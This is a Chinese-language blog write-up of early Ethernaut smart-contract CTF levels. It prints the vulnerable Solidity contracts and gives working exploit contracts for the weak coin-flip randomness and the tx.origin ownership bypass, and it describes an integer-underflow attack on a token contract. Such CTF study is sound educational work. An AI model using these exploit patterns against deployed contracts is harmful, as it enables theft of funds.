智能合约 CTF 入门:Ethernaut Write Up

xctf 的区块链题目打的自闭,fjh 师傅推荐了个能刷区块链题目的平台,正好来练练手。

准备工作

首先当然是要科学上网啦,提供服务的一些网站基本没有在国内的,所以先网上冲浪吧。

其次安装 chrome 扩展小狐狸 MetaMask,这个相当于我们的区块链钱包,一般的区块链题目都是部署在 Ropsten 测试网络上,在测试网络我们可以无限白嫖 ETH(最多好像是持有 5 个 ETH),所以安装完成后先要去嫖几个币,记录一下能用的水龙头地址:

最后就是熟悉下 solidity 的语法,跟 go 差不多,几分钟就可以上手。

Hello Ethernaut

这个题目主要面向初学者,只要完成了上述准备工作能与网站交互即可,用浏览器 F12 开着 console 一顿瞎捣鼓即可过关。payload :

contract.authenticate('ethernaut0')
// 之后 submit 即可

Fallback

直接给了源码,题目的要求:

  • you claim ownership of the contract
  • you reduce its balance to 0
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback is Ownable {
  
  using SafeMath for uint256;
  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] = contributions[msg.sender].add(msg.value);
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 &amp;&amp; contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

首先稍微审计一下,整个合约 Fallback 可以看做别的语言中的类,同样也有对应的同名构造函数 Fallback,这个构造函数会让映射(可以理解为 py 中的字典) contributions 初始化,但是初始化的键 msg.sender 并不是我们的地址,而是合约创建者的地址。也就是说实际上我们的操作无法调用构造函数 Fallback()。

其次是一个给钱函数 contribute,调用这个函数并给 send 过去 eth,就会把你的贡献记录在映射 contributions 中,同样也可以用 getContribution() 方法查看自己的贡献。

最后的函数没有参数莫得姓名,才是这个合约真正的 fallback 函数(回调函数), 触发这个函数有两个条件,要么 call 了一个没有的函数,要么没有传递任何数据。第一种情况类似 php 中的 __call() 魔术方法,另一种目前我也没太完全理解,只知道 send 给合约地址 eth 属于这种情况。因此我们直接用MetaMask 给当前合约转随便一笔钱,就会触发这个 fallback 函数,从而让合约的 owner 变成我们自己,这样就完成了要求的第一点,随后再调用 withdraw() 方法,就可以把我们之前转给合约的钱拿回来,顺便把 balance 清零。

Fallout

给了代码,过关条件是把合约 owner 替换为我们自己。

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout is Ownable {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

这个题比较弱智,仔细看第一个函数实际上并不是构造函数(Fallout、Fal1out),所以直接调用 Fal1out() 方法即可。

Coin Flip

过关条件:连续十次猜对硬币。

这题才逐渐有点 ctf 的感觉,先看代码:

pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

这个合约的问题在于,计算随机数时会取上一个区块的哈希值,与一个常量进行计算,由于区块链的特性,在这个计算过程中所有的因子都是可知的,因此我们可以模拟该合约生成的过程,就可以稳定猜中硬币的朝向,在 remix 编译器编写 exp:

pragma solidity ^0.4.18;

contract CoinFlip {
    function flip(bool _guess) public returns (bool);
    
}

contract Exp{
    address public con_addr = 0x8EbAEb3759143180A7Cdb4Ed832607986CA63AF5;
    // 这个地址改成合约的地址
    CoinFlip c = CoinFlip(con_addr);
    uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
    function guess() public{
        uint256 blockValue = uint256(blockhash(block.number -1));
        uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
        bool side = coinFlip == 1 ? true : false;
        c.flip(side);
    }
    
    function getflag() public{
        for(uint i = 0; i < 10; i++){
            guess();
        }
    }
}

由于这个 sol 文件有两个合约,在编译的时候要选择编译 exp这个合约

此外,remix 编译器有时候会爆编译器未加载的错误,只要吧浏览器的过滤广告插件关了即可(白名单有时候不太行)。

调用合约的 guess() 方法,在题目处查询就可以看到执行成功。

Telephone

代码非常短,题目要求把 owner 改成我们自己的地址:

pragma solidity ^0.4.18;

contract Telephone {

    address public owner;

    function Telephone() public {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

可以看到主要就是绕过 tx.origin 这个判断,但是这个变量是交易的初始发起者(一定是用户地址),而 msg.sender 是当前交易的发起者(可以是合约地址)。也就是说当用户部署了某个合约 A 去调用合约 B,在被调用的合约 B 看来,msg.sender 是合约 A 的地址,而 tx.origin 则代表整个调用链最顶端的人(合约 B -> 合约 -> A -> 用户),即用户。因此我们可以自定义一个合约调用这个合约的方法,此时的 tx.origin 就是用户地址,而 msg.sender 则是合约地址,就可以绕过限制。

pragma solidity ^0.4.18;

contract Exp{
    function getflag() public {
        Tele abc = Tele(0xd5a70904a983cd947c1bfdb9686831a85eb4eaae);
        abc.changeOwner(tx.origin);
    }
}

contract Tele{
     function changeOwner (address _owner) public ;
}

Token

要求让我们吧自己的 token 值调到特别大,题目代码:

pragma solidity ^0.4.18;

contract Token {

    mapping(address => uint) balances;
    uint public totalSupply;

    function Token(uint _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint balance) {
        return balances[_owner];
    }
}

这里考点主要是 solidity 的特性。由于映射 balances 的值是 unit 类型,根据 solidity 编译器,uint >= 0 永真,因此 transfer() 方法第一行的限制是完全不起作用的,可以随意给自己的地址转账,转完直接 submit 即可。

  • 请问为什么我在coin flip里自己手动执行guess()可以,但是用getflag()就不行呢?我猜测是因为getflag中没有等到一笔交易confirm,就直接再执行一次guess,导致block number没有更新?

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.